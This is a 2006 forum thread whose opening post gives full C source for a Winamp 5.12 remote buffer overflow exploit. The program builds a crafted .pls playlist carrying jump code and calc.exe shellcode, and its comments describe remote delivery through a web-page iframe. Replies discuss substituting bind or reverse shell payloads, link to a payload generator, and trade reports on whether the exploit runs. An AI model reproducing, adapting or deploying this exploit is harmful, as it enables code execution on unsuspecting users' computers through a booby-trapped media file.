Forums: Winamp 5.12 Remote Buffer Overflow Universal Exploit - Forums

Jump to content

  • (4 Pages)
  • +
  • 1
  • 2
  • 3
  • Last »
  • You cannot start a new topic
  • You cannot reply to this topic

Winamp 5.12 Remote Buffer Overflow Universal Exploit

#1 User is offline   320X 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 473
  • Joined: 13-December 03

Posted 29 January 2006 - 04:15 PM

Quote

/*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/

/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstru...namp_ie_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"

char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";

// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";

// Harmless Calc.exe
char shellcode[] =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";


int main(int argc,char *argv[])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");

FILE *File;
char *pszBuffer;

if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
printf("\n [Err:] fopen()");
exit(1);
}

pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);

printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n");
return 1;
}

0

#2 User is offline   linux_dude 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 343
  • Joined: 10-January 04

Posted 29 January 2006 - 04:52 PM

Quote

* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.


If they hadn't included that line, this would have been useless for 99.99% of people trying to use it. <_<
0

#3 Guest_Spiffypat_*

  • Group: Guests

Posted 29 January 2006 - 05:21 PM

View Postlinux_dude, on Jan 30 2006, 12:52 AM, said:

Quote

* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.


If they hadn't included that line, this would have been useless for 99.99% of people trying to use it. <_<


Not really, for this to do any harm at all, you would need to replace the shell code with your payload.
0

#4 User is offline   John 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 178
  • Joined: 28-January 06

Posted 29 January 2006 - 05:21 PM

View Postlinux_dude, on Jan 29 2006, 05:52 PM, said:

Quote

* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.


If they hadn't included that line, this would have been useless for 99.99% of people trying to use it. <_<


Still harmless :P someone would half to change the calc shellcode to a reverse or bindshell shellcode. So it is still useless to about 80% of people out there.
0

#5 User is offline   linux_dude 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 343
  • Joined: 10-January 04

Posted 29 January 2006 - 05:55 PM

Shell code is, sadly, widely available to skiddies. But if you don't give them a step-by-step on what to do, they're neutralized.
0

#6 User is offline   rcx 

  • Private
  • Icon
  • Group: Members
  • Posts: 4
  • Joined: 02-December 05

Posted 29 January 2006 - 07:42 PM

how to replace the shellcode?
0

#7 User is offline   linux_dude 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 343
  • Joined: 10-January 04

Posted 29 January 2006 - 08:47 PM

Or not, :lol:
0

#8 Guest_Spiffypat_*

  • Group: Guests

Posted 29 January 2006 - 08:57 PM

View Postrcx, on Jan 30 2006, 03:42 AM, said:

how to replace the shellcode?

:rolleyes:

What shellcode? There are plenty of different types of shellcode out there.
0

#9 User is offline   BuzzDee 

  • Master Sergeant
  • Icon
  • Group: Specialist
  • Posts: 454
  • Joined: 27-September 03

Posted 30 January 2006 - 01:13 AM

the sploit doesnt work for me. tried to reproduce it but nothing... if i can get it work i'll publish one with shellcode here... but somehow it won't crash ^^
0

#10 User is offline   rcx 

  • Private
  • Icon
  • Group: Members
  • Posts: 4
  • Joined: 02-December 05

Posted 30 January 2006 - 01:50 AM

with bind shellcode or ...reverse shellcode.. don't know how to calculate
0

#11 User is offline   Exploter 

  • Private
  • Icon
  • Group: Members
  • Posts: 16
  • Joined: 01-October 04

Posted 30 January 2006 - 02:24 AM

chack it
http://metasploit.com:55555/PAYLOADS
0

#12 User is offline   rcx 

  • Private
  • Icon
  • Group: Members
  • Posts: 4
  • Joined: 02-December 05

Posted 30 January 2006 - 02:46 AM

it won't work if i directly replace the shellcode with the payloads. i must do some modifications... however, i don't know..
0

#13 User is offline   Freakazoid 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 30
  • Joined: 19-October 04

Posted 30 January 2006 - 03:46 AM

It doesnt work :S calc doesnt oben at all.
0

#14 User is offline   brOmstar 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 353
  • Joined: 12-January 04

Posted 30 January 2006 - 03:53 AM

worked fine here
0

#15 User is offline   li0uid 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 33
  • Joined: 31-October 05

Posted 30 January 2006 - 04:41 AM

the generated crafted.pls just crashes winamp to me...

tested on:

Windows XP SP 2 German

-------------------------------------

Now ts working , but i had to change the data prevantion for winamp then saved settings "allow winamp" and the second try executed calc.exe.

greets
0

  • (4 Pages)
  • +
  • 1
  • 2
  • 3
  • Last »
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting